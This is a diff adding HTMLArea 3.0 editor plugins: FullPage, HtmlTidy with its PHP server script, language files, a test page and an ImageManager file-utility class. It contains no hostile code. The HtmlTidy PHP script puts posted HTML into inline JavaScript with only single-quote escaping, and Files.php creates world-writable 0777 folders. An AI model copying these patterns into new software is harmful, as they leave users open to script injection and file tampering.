+ }
+
+ // Get the ranges destined to be stuffed into new paragraphs
+ rngLeft.setStartBefore(startChop);
+ rngLeft.setEnd(startNode,startOffset);
+ pLeft.appendChild(rngLeft.cloneContents()); // Copy into pLeft
+
+ rngRight.setEndAfter(endChop);
+ rngRight.setStart(endNode,endOffset);
+ pRight.appendChild(rngRight.cloneContents()); // Copy into pRight
+
+ // If either paragraph is empty, fill it with a nonbreakable space
+ var foundBlock = false;
+ foundBlock = this.walkNodeChildren(pLeft, this._isFilling);
+ if (foundBlock != true)
+ this.insertDeepLeftText(pLeft, ' ');
+
+ foundBlock = false;
+ foundBlock = this.walkNodeChildren(pRight, this._isFilling);
+ if (foundBlock != true)
+ this.insertDeepLeftText(pRight, ' ');
+
+ // Get a range for everything to be replaced and replace it
+ var rngAround = editor._doc.createRange();
+
+ if (!startChop.previousSibling && this.isElem(startChop.parentNode, 'p'))
+ rngAround.setStartBefore(startChop.parentNode);
+ else
+ rngAround.setStart(rngLeft.startContainer, rngLeft.startOffset);
+
+ if (!endChop.nextSibling && this.isElem(endChop.parentNode, 'p'))
+ rngAround.setEndAfter(endChop.parentNode);
+ else
+ rngAround.setEnd(rngRight.endContainer, rngRight.endOffset);
+
+ rngAround.deleteContents();
+ rngAround.insertNode(pRight);
+ rngAround.insertNode(pLeft);
+
+ // Set the selection to the start of the (second) new paragraph
+ if (pRight.firstChild) {
+ while (pRight.firstChild && this._html4_inlines_re.test(pRight.firstChild.nodeName))
+ pRight = pRight.firstChild;
+ // Slip into any inline tags
+ if (pRight.firstChild && pRight.firstChild.nodeType == 3)
+ pRight = pRight.firstChild; // and text, if they've got it
+
+ var rngCaret = editor._doc.createRange();
+ rngCaret.setStart(pRight, 0);
+ rngCaret.collapse(true);
+
+ sel = editor._iframe.contentWindow.getSelection();
+ sel.removeAllRanges();
+ sel.addRange(rngCaret);
+ }
+
+ // Stop the bubbling
+ HTMLArea._stopEvent(ev);
+ }
+};
--- /dev/null
+// FullPage Plugin for HTMLArea-3.0
+// Implementation by Mihai Bazon. Sponsored by http://thycotic.com
+//
+// htmlArea v3.0 - Copyright (c) 2002 interactivetools.com, inc.
+// This notice MUST stay intact for use (see license.txt).
+//
+// A free WYSIWYG editor replacement for <textarea> fields.
+// For full source code and docs, visit http://www.interactivetools.com/
+//
+// Version 3.0 developed by Mihai Bazon for InteractiveTools.
+// http://dynarch.com/mishoo
+//
+// $Id: full-page.js,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+
+function FullPage(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ cfg.fullPage = true;
+ var tt = FullPage.I18N;
+ var self = this;
+
+ cfg.registerButton("FP-docprop", tt["Document properties"], editor.imgURL("docprop.gif", "FullPage"), false,
+ function(editor, id) {
+ self.buttonPress(editor, id);
+ });
+
+ // add a new line in the toolbar
+ cfg.toolbar[0].splice(0, 0, "separator");
+ cfg.toolbar[0].splice(0, 0, "FP-docprop");
+};
+
+FullPage._pluginInfo = {
+ name : "FullPage",
+ version : "1.0",
+ developer : "Mihai Bazon",
+ developer_url : "http://dynarch.com/mishoo/",
+ c_owner : "Mihai Bazon",
+ sponsor : "Thycotic Software Ltd.",
+ sponsor_url : "http://thycotic.com",
+ license : "htmlArea"
+};
+
+FullPage.prototype.buttonPress = function(editor, id) {
+ var self = this;
+ switch (id) {
+ case "FP-docprop":
+ var doc = editor._doc;
+ var links = doc.getElementsByTagName("link");
+ var style1 = '';
+ var style2 = '';
+ for (var i = links.length; --i >= 0;) {
+ var link = links[i];
+ if (/stylesheet/i.test(link.rel)) {
+ if (/alternate/i.test(link.rel))
+ style2 = link.href;
+ else
+ style1 = link.href;
+ }
+ }
+ var title = doc.getElementsByTagName("title")[0];
+ title = title ? title.innerHTML : '';
+ var init = {
+ f_doctype : editor.doctype,
+ f_title : title,
+ f_body_bgcolor : HTMLArea._colorToRgb(doc.body.style.backgroundColor),
+ f_body_fgcolor : HTMLArea._colorToRgb(doc.body.style.color),
+ f_base_style : style1,
+ f_alt_style : style2,
+
+ editor : editor
+ };
+ editor._popupDialog("plugin://FullPage/docprop", function(params) {
+ self.setDocProp(params);
+ }, init);
+ break;
+ }
+};
+
+FullPage.prototype.setDocProp = function(params) {
+ var txt = "";
+ var doc = this.editor._doc;
+ var head = doc.getElementsByTagName("head")[0];
+ var links = doc.getElementsByTagName("link");
+ var style1 = null;
+ var style2 = null;
+ for (var i = links.length; --i >= 0;) {
+ var link = links[i];
+ if (/stylesheet/i.test(link.rel)) {
+ if (/alternate/i.test(link.rel))
+ style2 = link;
+ else
+ style1 = link;
+ }
+ }
+ function createLink(alt) {
+ var link = doc.createElement("link");
+ link.rel = alt ? "alternate stylesheet" : "stylesheet";
+ head.appendChild(link);
+ return link;
+ };
+
+ if (!style1 && params.f_base_style)
+ style1 = createLink(false);
+ if (params.f_base_style)
+ style1.href = params.f_base_style;
+ else if (style1)
+ head.removeChild(style1);
+
+ if (!style2 && params.f_alt_style)
+ style2 = createLink(true);
+ if (params.f_alt_style)
+ style2.href = params.f_alt_style;
+ else if (style2)
+ head.removeChild(style2);
+
+ for (var i in params) {
+ var val = params[i];
+ switch (i) {
+ case "f_title":
+ var title = doc.getElementsByTagName("title")[0];
+ if (!title) {
+ title = doc.createElement("title");
+ head.appendChild(title);
+ } else while (node = title.lastChild)
+ title.removeChild(node);
+ if (!HTMLArea.is_ie)
+ title.appendChild(doc.createTextNode(val));
+ else
+ doc.title = val;
+ break;
+ case "f_doctype":
+ this.editor.setDoctype(val);
+ break;
+ case "f_body_bgcolor":
+ doc.body.style.backgroundColor = val;
+ break;
+ case "f_body_fgcolor":
+ doc.body.style.color = val;
+ break;
+ }
+ }
+};
--- /dev/null
+<files>
+ <file name="*.{gif,jpg,jpeg}" />
+</files>
--- /dev/null
+// I18N for the FullPage plugin
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+FullPage.I18N = {
+ "Alternate style-sheet:": "Alternate style-sheet:",
+ "Background color:": "Background color:",
+ "Cancel": "Cancel",
+ "DOCTYPE:": "DOCTYPE:",
+ "Document properties": "Document properties",
+ "Document title:": "Document title:",
+ "OK": "OK",
+ "Primary style-sheet:": "Primary style-sheet:",
+ "Text color:": "Text color:"
+};
--- /dev/null
+// I18N for the FullPage plugin\r\r
+\r\r
+// LANG: "he", ENCODING: UTF-8\r\r
+// Author: Liron Newman, http://www.eesh.net, <plastish at ultinet dot org>\r\r
+\r\r
+// FOR TRANSLATORS:\r\r
+//\r\r
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE\r\r
+// (at least a valid email address)\r\r
+//\r\r
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;\r\r
+// (if this is not possible, please include a comment\r\r
+// that states what encoding is necessary.)\r\r
+\r\r
+FullPage.I18N = {\r\r
+ "Alternate style-sheet:": "גיליון סגנון אחר:",\r\r
+ "Background color:": "צבע רקע:",\r\r
+ "Cancel": "ביטול",\r\r
+ "DOCTYPE:": "DOCTYPE:",\r\r
+ "Document properties": "מאפייני מסמך",\r\r
+ "Document title:": "כותרת מסמך:",\r\r
+ "OK": "אישור",\r\r
+ "Primary style-sheet:": "גיליון סגנון ראשי:",\r\r
+ "Text color:": "צבע טקסט:"\r\r
+};\r\r
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+// I18N for the FullPage plugin
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Mihai Bazon, http://dynarch.com/mishoo
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+FullPage.I18N = {
+ "Alternate style-sheet:": "Template CSS alternativ:",
+ "Background color:": "Culoare de fundal:",
+ "Cancel": "Renunţă",
+ "DOCTYPE:": "DOCTYPE:",
+ "Document properties": "Proprietăţile documentului",
+ "Document title:": "Titlul documentului:",
+ "OK": "Acceptă",
+ "Primary style-sheet:": "Template CSS principal:",
+ "Text color:": "Culoare text:"
+};
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+
+ <dir name="lang" />
+ <dir name="img" />
+ <dir name="popups" />
+</files>
+
--- /dev/null
+<html>
+
+<head>
+ <title>Document properties</title>
+
+<script type="text/javascript" src="../../../popups/popup.js"></script>
+
+<script type="text/javascript">
+
+FullPage = window.opener.FullPage; // load the FullPage plugin and lang file ;-)
+window.resizeTo(400, 100);
+
+ var accepted = {
+ f_doctype : true,
+ f_title : true,
+ f_body_bgcolor : true,
+ f_body_fgcolor : true,
+ f_base_style : true,
+ f_alt_style : true
+ };
+
+var editor = null;
+function Init() {
+ __dlg_translate(FullPage.I18N);
+ __dlg_init();
+ var params = window.dialogArguments;
+ for (var i in params) {
+ if (i in accepted) {
+ var el = document.getElementById(i);
+ el.value = params[i];
+ }
+ }
+ editor = params.editor;
+ document.getElementById("f_title").focus();
+ document.getElementById("f_title").select();
+};
+
+function onOK() {
+ var required = {
+ };
+ for (var i in required) {
+ var el = document.getElementById(i);
+ if (!el.value) {
+ alert(required[i]);
+ el.focus();
+ return false;
+ }
+ }
+
+ var param = {};
+ for (var i in accepted) {
+ var el = document.getElementById(i);
+ param[i] = el.value;
+ }
+ __dlg_close(param);
+ return false;
+};
+
+function onCancel() {
+ __dlg_close(null);
+ return false;
+};
+
+</script>
+
+<style type="text/css">
+html, body {
+ background: ButtonFace;
+ color: ButtonText;
+ font: 11px Tahoma,Verdana,sans-serif;
+ margin: 0px;
+ padding: 0px;
+}
+body { padding: 5px; }
+table {
+ font: 11px Tahoma,Verdana,sans-serif;
+}
+select, input, button { font: 11px Tahoma,Verdana,sans-serif; }
+button { width: 70px; }
+table .label { text-align: right; width: 12em; }
+
+.title { background: #ddf; color: #000; font-weight: bold; font-size: 120%; padding: 3px 10px; margin-bottom: 10px;
+border-bottom: 1px solid black; letter-spacing: 2px;
+}
+
+#buttons {
+ margin-top: 1em; border-top: 1px solid #999;
+ padding: 2px; text-align: right;
+}
+</style>
+
+ </head>
+
+ <body onload="Init()">
+
+ <div class="title"><span>Document properties</span></div>
+
+ <table style="width: 100%">
+ <tr>
+ <td class="label"><span>Document title:</span></td>
+ <td><input type="text" id="f_title" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>DOCTYPE:</span></td>
+ <td><input type="text" id="f_doctype" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Primary style-sheet:</span></td>
+ <td><input type="text" id="f_base_style" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Alternate style-sheet:</span></td>
+ <td><input type="text" id="f_alt_style" style="width: 100%" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Background color:</span></td>
+ <td><input type="text" id="f_body_bgcolor" size="7" /></td>
+ </tr>
+ <tr>
+ <td class="label"><span>Text color:</span></td>
+ <td><input type="text" id="f_body_fgcolor" size="7" /></td>
+ </tr>
+ </table>
+
+ <div id="buttons">
+ <button type="button" name="ok" onclick="return onOK();"><span>OK</span></button>
+ <button type="button" name="cancel" onclick="return onCancel();"><span>Cancel</span></button>
+ </div>
+
+ </body>
+</html>
--- /dev/null
+<files>
+ <file name="*.{js,html,cgi,css}" />
+</files>
+
--- /dev/null
+<html>
+ <head>
+ <title>Test of FullPage plugin</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+ <script type="text/javascript">
+ _editor_url = "../../";
+ </script>
+
+ <!-- load the main HTMLArea files -->
+ <script type="text/javascript" src="../../htmlarea.js"></script>
+ <script type="text/javascript" src="../../lang/en.js"></script>
+ <script type="text/javascript" src="../../dialog.js"></script>
+
+ <!-- <script type="text/javascript" src="popupdiv.js"></script> -->
+ <script type="text/javascript" src="../../popupwin.js"></script>
+
+ <script type="text/javascript">
+ HTMLArea.loadPlugin("TableOperations");
+ HTMLArea.loadPlugin("SpellChecker");
+ HTMLArea.loadPlugin("FullPage");
+
+ function initDocument() {
+ var editor = new HTMLArea("editor");
+ editor.registerPlugin(TableOperations);
+ editor.registerPlugin(SpellChecker);
+ editor.registerPlugin(FullPage);
+ editor.generate();
+ }
+ </script>
+
+ <style type="text/css">
+ @import url(../../htmlarea.css);
+ </style>
+
+ </head>
+
+ <body onload="initDocument()">
+ <h1>Test of FullPage plugin</h1>
+
+ <textarea id="editor" style="height: 30em; width: 100%;">
+ <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd">
+ <html>
+ <head>
+ <title>FullPage plugin for HTMLArea</title>
+ <link rel="alternate stylesheet" href="http://dynarch.com/mishoo/css/dark.css" />
+ <link rel="stylesheet" href="http://dynarch.com/mishoo/css/cool-light.css" />
+ </head>
+ <body style="background-color: #ddddee; color: #000077;">
+ <table style="width:60%; height: 90%; margin: 2% auto 1% auto;" align="center" border="0" cellpadding="0" cellspacing="0">
+ <tr>
+ <td style="background-color: #ddeedd; border: 2px solid #002; height: 1.5em; padding: 2px; font: bold 24px Verdana;">
+ FullPage plugin
+ </td>
+ </tr>
+ <tr>
+ <td style="background-color: #fff; border: 1px solid #aab; padding: 1em 3em; font: 12px Verdana;">
+ <p>
+ This plugin enables one to edit a full HTML file in <a
+ href="http://dynarch.com/htmlarea/">HTMLArea</a>. This is not
+ normally possible with just the core editor since it only
+ retrieves the HTML inside the <code>body</code> tag.
+ </p>
+ <p>
+ It provides the ability to change the <code>DOCTYPE</code> of
+ the document, <code>body</code> <code>bgcolor</code> and
+ <code>fgcolor</code> attributes as well as to add additional
+ <code>link</code>-ed stylesheets. Cool, eh?
+ </p>
+ <p>
+ The development of this plugin was initiated and sponsored by
+ <a href="http://thycotic.com">Thycotic Software Ltd.</a>.
+ That's also cool, isn't it? ;-)
+ </p>
+ </td>
+ </tr>
+ </table>
+ </body>
+ </html>
+ </textarea>
+
+ <hr />
+ <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Wed Oct 1 19:55:37 EEST 2003 -->
+<!-- hhmts start -->
+Last modified on Sat Oct 25 01:06:59 2003
+<!-- hhmts end -->
+<!-- doc-lang: English -->
+ </body>
+</html>
--- /dev/null
+// Plugin for htmlArea to run code through the server's HTML Tidy
+// By Adam Wright, for The University of Western Australia
+//
+// Email: zeno@ucc.gu.uwa.edu.au
+// Homepage: http://blog.hipikat.org/
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+//
+// Version: 0.5
+// Released to the outside world: 04/03/04
+
+
+HtmlTidy is a plugin for the popular cross-browser TTY WYSIWYG editor,
+htmlArea (http://www.interactivetools.com/products/htmlarea/). HtmlTidy
+basically queries HTML Tidy (http://tidy.sourceforge.net/) on the
+server side, getting it to make-html-nice, instead of relying on masses
+of javascript, which the client would have to download.
+
+Hi, this is a quick explanation of how to install HtmlTidy. Much better
+documentation is probably required, and you're welcome to write it :)
+
+
+* The HtmlTidy directory you should have found this file in should
+ include the following:
+
+ - README
+ This file, providing help installing the plugin.
+
+ - html-tidy-config.cfg
+ This file contains the configuration options HTML Tidy uses to
+ clean html, and can be modified to suit your organizations
+ requirements.
+
+ - html-tidy-logic.php
+ This is the php script, which is queried with dirty html and is
+ responsible for invoking HTML Tidy, getting nice new html and
+ returning it to the client.
+
+ - html-tidy.js
+ The main htmlArea plugin, providing functionality to tidy html
+ through the htmlArea interface.
+
+ - htmlarea.js.onmode_event.diff
+ At the time of publishing, an extra event handler was required
+ inside the main htmlarea.js file. htmlarea.js may be patched
+ against this file to make the changes reuquired, but be aware
+ that the event handler may either now be in the core or
+ htmlarea.js may have changed enough to invalidate the patch.
+
+ UPDATE: now it exists in the official htmlarea.js; applying
+ this patch is thus no longer necessary.
+
+ - img/html-tidy.gif
+ The HtmlTidy icon, for the htmlArea toolbar. Created by Dan
+ Petty for The University of Western Australia.
+
+ - lang/en.js
+ English language file. Add your own language files here and
+ please contribute back into the htmlArea community!
+
+ The HtmlArea directory should be extracted to your htmlarea/plugins/
+ directory.
+
+
+* Make sure the onMode event handler mentioned above, regarding
+ htmlarea.js.onmode_event.diff, exists in your htmlarea.js
+
+
+* html-tidy-logic.php should be executable, and your web server should
+ be configured to execute php scripts in the directory
+ html-tidy-logic.php exists in.
+
+
+* HTML Tidy needs to be installed on your server, and 'tidy' should be
+ an alias to it, lying in the PATH known to the user executing such
+ web scripts.
+
+
+* In your htmlArea configuration, do something like this:
+
+ HTMLArea.loadPlugin("HtmlTidy");
+
+ editor = new HTMLArea("doc");
+ editor.registerPlugin("HtmlTidy");
+
+
+* Then, in your htmlArea toolbar configuration, use:
+
+ - "HT-html-tidy"
+ This will create the 'tidy broom' icon on the toolbar, which
+ will attempt to tidy html source when clicked, and;
+
+ - "HT-auto-tidy"
+ This will create an "Auto Tidy" / "Don't Tidy" dropdown, to
+ select whether the source should be tidied automatically when
+ entering source view. On by default, if you'd like it otherwise
+ you can do so programatically after generating the toolbar :)
+ (Or just hack it to be otherwise...)
+
+
+Thank you.
+
+Any bugs you find can be emailed to zeno@ucc.gu.uwa.edu.au
--- /dev/null
+// Default configuration file for the htmlArea, HtmlTidy plugin
+// By Adam Wright, for The University of Western Australia
+//
+// Evertything you always wanted to know about HTML Tidy *
+// can be found at http://tidy.sourceforge.net/, and a
+// quick reference to the configuration options exists at
+// http://tidy.sourceforge.net/docs/quickref.html
+//
+// * But were afraid to ask
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+word-2000: yes
+clean: no
+drop-font-tags: yes
+doctype: auto
+drop-empty-paras: yes
+drop-proprietary-attributes: yes
+enclose-block-text: yes
+enclose-text: yes
+escape-cdata: yes
+logical-emphasis: yes
+indent: auto
+indent-spaces: 2
+break-before-br: yes
+output-xhtml: yes
+
+force-output: yes
--- /dev/null
+<? ###################################################################
+ ##
+ ## Plugin for htmlArea, to run code through the server's HTML Tidy
+ ## By Adam Wright, for The University of Western Australia
+## This is the server-side script, which dirty code is run through.
+##
+## Distributed under the same terms as HTMLArea itself.
+## This notice MUST stay intact for use (see license.txt).
+##
+
+ // Get the original source
+ $source = $_POST['htisource_name'];
+ $source = stripslashes($source);
+
+ // Open a tidy process - I hope it's installed!
+ $descriptorspec = array(
+ 0 => array("pipe", "r"),
+ 1 => array("pipe", "w"),
+ 2 => array("file", "/dev/null", "a")
+ );
+ $process = proc_open("tidy -config html-tidy-config.cfg", $descriptorspec, $pipes);
+
+ // Make sure the program started and we got the hooks...
+ // Either way, get some source code into $source
+ if (is_resource($process)) {
+
+ // Feed untidy source into the stdin
+ fwrite($pipes[0], $source);
+ fclose($pipes[0]);
+
+ // Read clean source out to the browser
+ while (!feof($pipes[1])) {
+ //echo fgets($pipes[1], 1024);
+ $newsrc .= fgets($pipes[1], 1024);
+ }
+ fclose($pipes[1]);
+
+ // Clean up after ourselves
+ proc_close($process);
+
+ } else {
+ // Better give them back what they came with, so they don't lose it all...
+ $newsrc = "<body>\n" .$source. "\n</body>";
+ }
+
+ // Split our source into an array by lines
+ $srcLines = explode("\n",$newsrc);
+
+ // Get only the lines between the body tags
+ $startLn = 0;
+ while ( strpos( $srcLines[$startLn++], '<body' ) === false && $startLn < sizeof($srcLines) );
+ $endLn = $startLn;
+ while ( strpos( $srcLines[$endLn++], '</body' ) === false && $endLn < sizeof($srcLines) );
+
+ $srcLines = array_slice( $srcLines, $startLn, ($endLn - $startLn - 1) );
+
+ // Create a set of javascript code to compile a new source string
+ foreach ($srcLines as $line) {
+ $jsMakeSrc .= "\tns += '" . str_replace("'","\'",$line) . "\\n';\n";
+ }
+?>
+
+
+<html>
+ <head>
+ <script type="text/javascript">
+
+function setNewHtml() {
+ var htRef = window.parent._editorRef.plugins['HtmlTidy'];
+ htRef.instance.processTidied(tidyString());
+}
+function tidyString() {
+ var ns = '\n';
+ <?=$jsMakeSrc;?>
+ return ns;
+}
+
+ </script>
+ </head>
+
+ <body id="htiNewBody" onload="setNewHtml()">
+ </body>
+</html>
--- /dev/null
+// Plugin for htmlArea to run code through the server's HTML Tidy
+// By Adam Wright, for The University of Western Australia
+//
+// Distributed under the same terms as HTMLArea itself.
+// This notice MUST stay intact for use (see license.txt).
+
+function HtmlTidy(editor) {
+ this.editor = editor;
+
+ var cfg = editor.config;
+ var tt = HtmlTidy.I18N;
+ var bl = HtmlTidy.btnList;
+ var self = this;
+
+ this.onMode = this.__onMode;
+
+ // register the toolbar buttons provided by this plugin
+ var toolbar = [];
+ for (var i in bl) {
+ var btn = bl[i];
+ if (btn == "html-tidy") {
+ var id = "HT-html-tidy";
+ cfg.registerButton(id, tt[id], editor.imgURL(btn[0] + ".gif", "HtmlTidy"), true,
+ function(editor, id) {
+ // dispatch button press event
+ self.buttonPress(editor, id);
+ }, btn[1]);
+ toolbar.push(id);
+ } else if (btn == "html-auto-tidy") {
+ var ht_class = {
+ id : "HT-auto-tidy",
+ options : { "Auto-Tidy" : "auto", "Don't Tidy" : "noauto" },
+ action : function (editor) { self.__onSelect(editor, this); },
+ refresh : function (editor) { },
+ context : "body"
+ };
+ cfg.registerDropdown(ht_class);
+ }
+ }
+
+ for (var i in toolbar) {
+ cfg.toolbar[0].push(toolbar[i]);
+ }
+};
+
+HtmlTidy._pluginInfo = {
+ name : "HtmlTidy",
+ version : "1.0",
+ developer : "Adam Wright",
+ developer_url : "http://blog.hipikat.org/",
+ sponsor : "The University of Western Australia",
+ sponsor_url : "http://www.uwa.edu.au/",
+ license : "htmlArea"
+};
+
+HtmlTidy.prototype.__onSelect = function(editor, obj) {
+ // Get the toolbar element object
+ var elem = editor._toolbarObjects[obj.id].element;
+
+ // Set our onMode event appropriately
+ if (elem.value == "auto")
+ this.onMode = this.__onMode;
+ else
+ this.onMode = null;
+};
+
+HtmlTidy.prototype.__onMode = function(mode) {
+ if ( mode == "textmode" ) {
+ this.buttonPress(this.editor, "HT-html-tidy");
+ }
+};
+
+HtmlTidy.btnList = [
+ null, // separator
+ ["html-tidy"],
+ ["html-auto-tidy"]
+];
+
+HtmlTidy.prototype.onGenerateOnce = function() {
+ var editor = this.editor;
+
+ var ifr = document.createElement("iframe");
+ ifr.name = "htiframe_name";
+ var s = ifr.style;
+ s.position = "absolute";
+ s.width = s.height = s.border = s.left = s.top = s.padding = s.margin = "0px";
+ document.body.appendChild(ifr);
+
+ var frm = '<form id="htiform_id" name="htiform_name" method="post" target="htiframe_name" action="';
+ frm += _editor_url + 'plugins/HtmlTidy/html-tidy-logic.php';
+ frm += '"><textarea name="htisource_name" id="htisource_id">';
+ frm += '</textarea></form>';
+
+ var newdiv = document.createElement('div');
+ newdiv.style.display = "none";
+ newdiv.innerHTML = frm;
+ document.body.appendChild(newdiv);
+};
+
+HtmlTidy.prototype.buttonPress = function(editor, id) {
+ var i18n = HtmlTidy.I18N;
+
+ switch (id) {
+ case "HT-html-tidy":
+
+ var oldhtml = editor.getHTML();
+
+ // Ask the server for some nice new html, based on the old...
+ var myform = document.getElementById('htiform_id');
+ var txtarea = document.getElementById('htisource_id');
+ txtarea.value = editor.getHTML();
+
+ // Apply the 'meanwhile' text, e.g. "Tidying HTML, please wait..."
+ editor.setHTML(i18n['tidying']);
+
+ // The returning tidying processing script needs to find the editor
+ window._editorRef = editor;
+
+ // ...And send our old source off for processing!
+ myform.submit();
+ break;
+ }
+};
+
+HtmlTidy.prototype.processTidied = function(newSrc) {
+ editor = this.editor;
+ editor.setHTML(newSrc);
+};
--- /dev/null
+<files>
+ <file name="*.{gif,png,jpg}" />
+</files>
--- /dev/null
+// I18N constants
+
+// LANG: "en", ENCODING: UTF-8 | ISO-8859-1
+// Author: Adam Wright, http://blog.hipikat.org/
+
+// FOR TRANSLATORS:
+//
+// 1. PLEASE PUT YOUR CONTACT INFO IN THE ABOVE LINE
+// (at least a valid email address)
+//
+// 2. PLEASE TRY TO USE UTF-8 FOR ENCODING;
+// (if this is not possible, please include a comment
+// that states what encoding is necessary.)
+
+HtmlTidy.I18N = {
+ "tidying" : "\n Tidying up the HTML source, please wait...",
+ "HT-html-tidy" : "HTML Tidy"
+};
--- /dev/null
+<files>
+ <file name="*.js" />
+</files>
--- /dev/null
+<files>
+ <file name="*.{html,js,cgi,php,css,cfg}" />
+ <file name="README" />
+
+ <dir name="lang" />
+ <dir name="img" />
+</files>
--- /dev/null
+<?
+/**
+ * File Utilities.
+ * @author $Author: cscott $
+ * @version $Id: Files.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ */
+
+define('FILE_ERROR_NO_SOURCE', 100);
+define('FILE_ERROR_COPY_FAILED', 101);
+define('FILE_ERROR_DST_DIR_FAILED', 102);
+define('FILE_COPY_OK', 103);
+
+/**
+ * File Utilities
+ * @author $Author: cscott $
+ * @version $Id: Files.php,v 1.1.1.1 2006/05/01 16:46:14 cscott Exp $
+ * @package ImageManager
+ * @subpackage files
+ */
+class Files
+{
+
+ /**
+ * Copy a file from source to destination. If unique == true, then if
+ * the destination exists, it will be renamed by appending an increamenting
+ * counting number.
+ * @param string $source where the file is from, full path to the files required
+ * @param string $destination_file name of the new file, just the filename
+ * @param string $destination_dir where the files, just the destination dir,
+ * e.g., /www/html/gallery/
+ * @param boolean $unique create unique destination file if true.
+ * @return string the new copied filename, else error if anything goes bad.
+ */
+ function copyFile($source, $destination_dir, $destination_file, $unique=true)
+ {
+ if(!(file_exists($source) && is_file($source)))
+ return FILE_ERROR_NO_SOURCE;
+
+ $destination_dir = Files::fixPath($destination_dir);
+
+ if(!is_dir($destination_dir))
+ Return FILE_ERROR_DST_DIR_FAILED;
+
+ $filename = Files::escape($destination_file);
+
+ if($unique)
+ {
+ $dotIndex = strrpos($destination_file, '.');
+ $ext = '';
+ if(is_int($dotIndex))
+ {
+ $ext = substr($destination_file, $dotIndex);
+ $base = substr($destination_file, 0, $dotIndex);
+ }
+ $counter = 0;
+ while(is_file($destination_dir.$filename))
+ {
+ $counter++;
+ $filename = $base.'_'.$counter.$ext;
+ }
+ }
+
+ if (!copy($source, $destination_dir.$filename))
+ return FILE_ERROR_COPY_FAILED;
+
+ //verify that it copied, new file must exists
+ if (is_file($destination_dir.$filename))
+ Return $filename;
+ else
+ return FILE_ERROR_COPY_FAILED;
+ }
+
+ /**
+ * Create a new folder.
+ * @param string $newFolder specifiy the full path of the new folder.
+ * @return boolean true if the new folder is created, false otherwise.
+ */
+ function createFolder($newFolder)
+ {
+ mkdir ($newFolder, 0777);
+ return chmod($newFolder, 0777);
+ }
+
+
+ /**
+ * Escape the filenames, any non-word characters will be
+ * replaced by an underscore.
+ * @param string $filename the orginal filename
+ * @return string the escaped safe filename
+ */
+ function escape($filename)
+ {
+ Return preg_replace('/[^\w\._]/', '_', $filename);
+ }
+
+ /**
+ * Delete a file.
+ * @param string $file file to be deleted
+ * @return boolean true if deleted, false otherwise.
+ */
+ function delFile($file)
+ {
+ if(is_file($file))
+ Return unlink($file);
+ else
+ Return false;
+ }
+
+ /**
+ * Delete folder(s), can delete recursively.
+ * @param string $folder the folder to be deleted.
+ * @param boolean $recursive if true, all files and sub-directories
+ * are delete. If false, tries to delete the folder, can throw
+ * error if the directory is not empty.
+ * @return boolean true if deleted.
+ */
+ function delFolder($folder, $recursive=false)
+ {
+ $deleted = true;
+ if($recursive)
+ {
+ $d = dir($folder);
+ while (false !== ($entry = $d->read()))
+ {
+ if ($entry != '.' && $entry != '..')
+ {
+ $obj = Files::fixPath($folder).$entry;
+ //var_dump($obj);
+ if (is_file($obj))
+ {
+ $deleted &= Files::delFile($obj);
+ }
+ else if(is_dir($obj))
+ {
+ $deleted &= Files::delFolder($obj, $recursive);
+ }
+
+ }
+ }
+ $d->close();
+
+ }
+
+ //$folder= $folder.'/thumbs';
+ //var_dump($folder);
+ if(is_dir($folder))
+ $deleted &= rmdir($folder);
+ else
+ $deleted &= false;
+
+ Return $deleted;
+ }
+
+ /**
+ * Append a / to the path if required.
+ * @param string $path the path
+ * @return string path with trailing /
+ */
+ function fixPath($path)
+ {
+ //append a slash to the path if it doesn't exists.
+ if(!(substr($path,-1) == '/'))
+ $path .= '/';
+ Return $path;
+ }
+
+ /**
+ * Concat two paths together. Basically $pathA+$pathB
+ * @param string $pathA path one
+ * @param string $pathB path two
+ * @return string a trailing slash combinded path.
+ */
+ function makePath($pathA, $pathB)
+ {
+ $pathA = Files::fixPath($pathA);
+ if(substr($pathB,0,1)=='/')
+ $pathB = substr($pathB,1);
+ Return Files::fixPath($pathA.$pathB);
+ }
+
+ /**
+ * Similar to makePath, but the second parameter
+ * is not only a path, it may contain say a file ending.
+ * @param string $pathA the leading path
+ * @param string $pathB the ending path with file
+ * @return string combined file path.
+ */
+ function makeFile($pathA, $pathB)
+ {
+ $pathA = Files::fixPath($pathA);
+ if(substr($pathB,0,1)=='/')
+ $pathB = substr($pathB,1);
+
+ Return $pathA.$pathB;
+ }
+
+
+ /**
+ * Format the file size, limits to Mb.
+ * @param int $size the raw filesize
+ * @return string formated file size.
+ */
+ function formatSize($size)
+ {
+ if($size < 1024)
+ return $size.' bytes';
+ else if($size >= 1024 && $size < 1024*1024)
+ return sprintf('%01.2f',$size/1024.0).' Kb';
+ else
+ return sprintf('%01.2f',$size/(1024.0*1024)).' Mb';
